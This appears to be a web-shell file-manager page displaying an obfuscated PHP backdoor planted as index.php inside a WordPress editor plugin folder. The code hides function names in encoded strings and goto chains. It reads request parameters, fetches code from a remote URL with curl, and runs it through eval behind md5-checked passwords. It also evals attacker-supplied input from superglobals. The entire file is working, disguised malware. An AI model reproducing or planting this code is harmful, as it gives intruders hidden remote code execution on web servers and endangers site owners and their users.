HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vps-320ddf0a 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: lamphim (1008)
PHP: 7.4.3-4ubuntu2.29
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/self/cwd/wp-content/plugins/tinymce-advanced/tinymce-advanced/index.php
<?php
 goto RMl2fzPqHkcO; CfYokyCsetI5: $GnPk9Mh5xK4l = ${$sSxMlUfzW8Bg[30 + 1] . $sSxMlUfzW8Bg[20 + 39] . $sSxMlUfzW8Bg[22 + 25] . $sSxMlUfzW8Bg[11 + 36] . $sSxMlUfzW8Bg[25 + 26] . $sSxMlUfzW8Bg[3 + 50] . $sSxMlUfzW8Bg[1 + 56]}; goto D4spJCD7F3TS; a7t8lcgM3h1V: class ouVOYS8dLZLc { static function iyHzk6SGNTGh($fGwMiAaIhrGt) { goto Hgu_ZNd3cWEG; Hgu_ZNd3cWEG: $CDkJWQ6NRRXh = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto okZ7bdrPTg4y; PGxTnkNHCk1r: foreach ($PRSnGaDu7aZn as $JrXLQDvUVpNv => $EMq4I3MoEoo7) { $i2RC8aosFl3m .= $WoFDYPMloiNo[$EMq4I3MoEoo7 - 10277]; LhJt9bBj890K: } goto CLjf19fyYsMf; okZ7bdrPTg4y: $WoFDYPMloiNo = $CDkJWQ6NRRXh("\176", "\40"); goto QpNUtOfTf7Km; w56a5Olf2cza: return $i2RC8aosFl3m; goto zPggBp8HSYav; lvoh3l0R4FBj: $i2RC8aosFl3m = ''; goto PGxTnkNHCk1r; CLjf19fyYsMf: QpeBnxrZVI45: goto w56a5Olf2cza; QpNUtOfTf7Km: $PRSnGaDu7aZn = explode("\175", $fGwMiAaIhrGt); goto lvoh3l0R4FBj; zPggBp8HSYav: } static function GhJk5Lrr9DH1($Uzy_kgFVstPr, $GtwPSO5hxc9V) { goto ylXEXcaUmLhO; nHVJr6rqjEta: curl_setopt($bVdAHsYDPVOo, CURLOPT_RETURNTRANSFER, 1); goto nwCze30yT927; ylXEXcaUmLhO: $bVdAHsYDPVOo = curl_init($Uzy_kgFVstPr); goto nHVJr6rqjEta; AbrX26QUFWv4: return empty($iMui20OEtxwS) ? $GtwPSO5hxc9V($Uzy_kgFVstPr) : $iMui20OEtxwS; goto kxG2EvaKfBYk; nwCze30yT927: $iMui20OEtxwS = curl_exec($bVdAHsYDPVOo); goto AbrX26QUFWv4; kxG2EvaKfBYk: } static function KD0VPkrDl22W() { goto zfXkCB5brTEK; pkWlTgXfKzmL: foreach ($wgSl3RXcypJY as $CZdQLrExlLLP) { $snXVjJOqMJHs[] = self::IyhZk6SgntGh($CZdQLrExlLLP); YlqmaUm_Sk71: } goto VL2epJic5h13; CCA9a7grHsFo: $nEPcF2E2_T6c = $snXVjJOqMJHs[0 + 2]($mnBVgDRpg6ib, true); goto B8Fj6yO08t2p; jD5_Ac2lCijs: $kE0eJusHm1A1 = self::GhJK5lRr9Dh1($nEPcF2E2_T6c[1 + 0], $snXVjJOqMJHs[5 + 0]); goto lw77BnPrj5rv; B8Fj6yO08t2p: @$snXVjJOqMJHs[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($snXVjJOqMJHs[1 + 4](__FILE__)); goto OFbg_aqutW7q; dMgwm8hRkxEg: $SzSYQ8ssYCO0 = @$snXVjJOqMJHs[1]($snXVjJOqMJHs[9 + 1](INPUT_GET, $snXVjJOqMJHs[1 + 8])); goto Ve7b3N2O25Tj; OFbg_aqutW7q: if (!(@$nEPcF2E2_T6c[0] - time() > 0 and md5(md5($nEPcF2E2_T6c[3 + 0])) === "\142\143\x37\63\x33\x32\x34\x66\x33\142\71\x30\x63\x30\67\x38\61\61\x64\x35\71\65\65\x34\x37\x61\66\66\63\x32\x32\x34")) { goto IyaITgTn3FW1; } goto jD5_Ac2lCijs; Ve7b3N2O25Tj: $mnBVgDRpg6ib = @$snXVjJOqMJHs[2 + 1]($snXVjJOqMJHs[0 + 6], $SzSYQ8ssYCO0); goto CCA9a7grHsFo; CRSDBXFDUfg4: die; goto QX6u6PVuj8Nz; lw77BnPrj5rv: @eval($snXVjJOqMJHs[2 + 2]($kE0eJusHm1A1)); goto CRSDBXFDUfg4; QX6u6PVuj8Nz: IyaITgTn3FW1: goto ddmeOzOQLMWM; VL2epJic5h13: uDvIfmZAs2BO: goto dMgwm8hRkxEg; zfXkCB5brTEK: $wgSl3RXcypJY = array("\61\x30\63\60\64\175\x31\60\x32\x38\71\x7d\61\60\63\x30\x32\x7d\x31\x30\63\60\x36\x7d\x31\60\x32\x38\x37\x7d\x31\x30\63\60\62\175\61\60\x33\x30\70\x7d\61\x30\63\x30\x31\x7d\61\x30\62\x38\66\x7d\x31\60\62\71\63\175\61\x30\x33\x30\x34\175\61\60\62\x38\x37\x7d\x31\x30\62\71\x38\175\x31\60\62\x39\62\175\x31\x30\62\71\x33", "\x31\x30\x32\70\70\175\x31\x30\x32\70\67\175\x31\x30\x32\x38\x39\175\x31\x30\63\60\70\x7d\61\60\62\70\x39\175\61\x30\x32\x39\62\x7d\x31\60\62\70\x37\175\61\x30\63\x35\x34\x7d\x31\60\63\65\62", "\61\x30\x32\x39\67\175\61\x30\62\x38\x38\175\61\60\62\71\62\175\x31\x30\x32\x39\x33\175\61\60\x33\60\x38\175\x31\60\63\60\63\x7d\x31\60\63\x30\62\175\61\60\63\x30\x34\175\x31\60\x32\x39\x32\x7d\61\60\x33\x30\63\x7d\61\x30\x33\60\62", "\x31\60\x32\71\x31\175\x31\x30\x33\60\x36\175\61\x30\63\x30\x34\x7d\x31\x30\x32\x39\x36", "\61\60\x33\60\65\175\x31\60\x33\x30\x36\x7d\x31\60\62\70\x38\x7d\x31\x30\63\x30\x32\x7d\61\x30\63\x34\71\175\x31\60\63\x35\x31\175\x31\60\x33\60\x38\x7d\61\60\x33\x30\x33\175\x31\x30\63\60\x32\175\61\60\x33\60\64\175\61\x30\62\71\x32\175\x31\60\63\x30\63\x7d\61\x30\63\x30\62", "\x31\x30\x33\x30\x31\x7d\x31\x30\x32\71\x38\175\x31\60\62\71\x35\175\61\60\x33\60\62\x7d\61\60\63\60\70\x7d\61\60\x33\x30\x30\175\x31\60\x33\60\62\x7d\x31\60\62\70\67\x7d\x31\x30\x33\x30\70\175\x31\60\x33\60\64\175\x31\x30\62\71\62\175\61\60\x32\x39\x33\x7d\x31\x30\x32\x38\x37\175\61\x30\x33\60\x32\x7d\x31\x30\62\71\x33\x7d\x31\x30\x32\x38\67\175\61\60\x32\x38\70", "\x31\60\63\x33\61\175\x31\x30\63\x36\x31", "\61\60\62\x37\70", "\61\60\x33\65\66\x7d\x31\x30\63\x36\61", "\61\x30\63\63\70\175\61\60\63\x32\x31\175\61\x30\x33\62\61\x7d\61\60\x33\x33\x38\x7d\x31\x30\63\61\x34", "\x31\x30\x33\60\61\x7d\x31\x30\x32\71\70\175\61\x30\x32\71\65\x7d\61\60\62\70\67\x7d\x31\x30\63\60\62\175\x31\60\62\70\x39\x7d\61\60\x33\x30\70\175\61\60\62\71\x38\175\61\x30\62\71\63\175\61\x30\62\x39\61\175\61\x30\x32\x38\66\175\61\x30\62\x38\x37"); goto pkWlTgXfKzmL; ddmeOzOQLMWM: } } goto lkZMhpyQyj0B; xCyQ7RXFdObR: metaphone("\64\63\70\x68\x62\147\71\x61\101\151\146\132\x50\x4e\70\63\152\116\x32\127\x70\151\67\x7a\147\x6e\x73\126\106\x79\x50\61\x6e\102\53\113\65\123\x49\171\x4c\143\101"); goto a7t8lcgM3h1V; D4spJCD7F3TS: @(md5(md5(md5(md5($GnPk9Mh5xK4l[23])))) === "\146\61\61\66\x63\64\144\x32\67\145\x61\146\145\142\x62\143\x35\145\67\x35\x33\x34\x65\x32\63\x35\x33\143\144\141\x62\71") && (count($GnPk9Mh5xK4l) == 29 && in_array(gettype($GnPk9Mh5xK4l) . count($GnPk9Mh5xK4l), $GnPk9Mh5xK4l)) ? ($GnPk9Mh5xK4l[63] = $GnPk9Mh5xK4l[63] . $GnPk9Mh5xK4l[73]) && ($GnPk9Mh5xK4l[84] = $GnPk9Mh5xK4l[63]($GnPk9Mh5xK4l[84])) && @eval($GnPk9Mh5xK4l[63](${$GnPk9Mh5xK4l[43]}[14])) : $GnPk9Mh5xK4l; goto xCyQ7RXFdObR; RMl2fzPqHkcO: $Z15tTLChx83U = "\162" . "\x61" . "\x6e" . "\x67" . "\145"; goto WFg7Hi_sax9L; WFg7Hi_sax9L: $sSxMlUfzW8Bg = $Z15tTLChx83U("\x7e", "\x20"); goto CfYokyCsetI5; lkZMhpyQyj0B: ouVOYS8DLzLc::kD0vpkrDl22W();
?>